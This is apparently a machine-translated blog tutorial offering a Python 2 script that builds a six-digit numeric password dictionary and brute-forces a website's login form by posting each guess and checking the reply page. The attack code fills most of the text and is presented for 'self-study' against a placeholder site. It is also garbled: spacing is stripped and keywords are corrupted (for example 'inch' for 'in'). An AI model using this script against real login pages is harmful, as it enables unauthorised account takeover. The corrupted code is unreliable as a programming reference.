Python brute force hack password script
The following, only for the individual test code, the environment is a test environment, the principle of brute force is the same,
Suppose to brute force the login website www.a.com user testuser password,
First, the site's login verification to support unlimited password attempts
Suppose TestUser's password is a 6-bit pure number
1: First 6-bit digital cipher dictionary
ImportOspds=[]rg=range (0,10) forFirstinchRG: forSecondinchRG: forThreeinchRG: forFourinchRG: forFiveinchRG: forSixinchRg:num="%s%s%s%s%s%s"%(first,second,three,four,five,six) pds.append (num) file_object= Open ('/users/teso/desktop/pwdnum6.txt','W') File_object.writelines (['%s%s'% (X,OS.LINESEP) forXinchPDS]) File_object.close ()
The above script will generate 6-digit password dictionaries on the desktop PwdNum6.txt
2: Study the login verification mechanism of Www.a.com website, script brute force hack password
ImportUrllib,urllib2,htmlparser#a crawler that parses web pagesclassOaparser (htmlparser.htmlparser):def __init__(self): Htmlparser.htmlparser.__init__(self) self.pd=[] defHandle_data (self, data):#print "Encountered some data:", Dataself.pd.append (data)#brute force hack scriptdefTrylogin (name,pwd): Parm={"LoginName": Name,"Password":p wd} URL="http://192.**.*.*/***/login/li"R=urllib2.urlopen (URL, Urllib.urlencode (parm)) Parse=Oaparser () parse.feed (R.read ()) parse.close () Isfind=Falseif "User Login" inchPARSE.PD:#Here is the password verification logic for the corresponding website Print 'Try Password'Pwd'Login Failed'Isfind=FalseElse: PrintUser'Landing Success','Password =', pwd isfind=Truedel(Parse)returnIsfind User='TestUser'#password=[' 1 ', ' a ', ' 123 ', ' 1234 ', ' 12345 ', ' 123456 ', ' 12345678 'Fpath='/users/teso/desktop/pwdnum6.txt'Pfile=open (Fpath,'R') forOnepwdinchpfile.readlines ():ifTrylogin (User, Onepwd[:6]): Break;
The process is roughly the same, the self-study play
Python brute force hack password script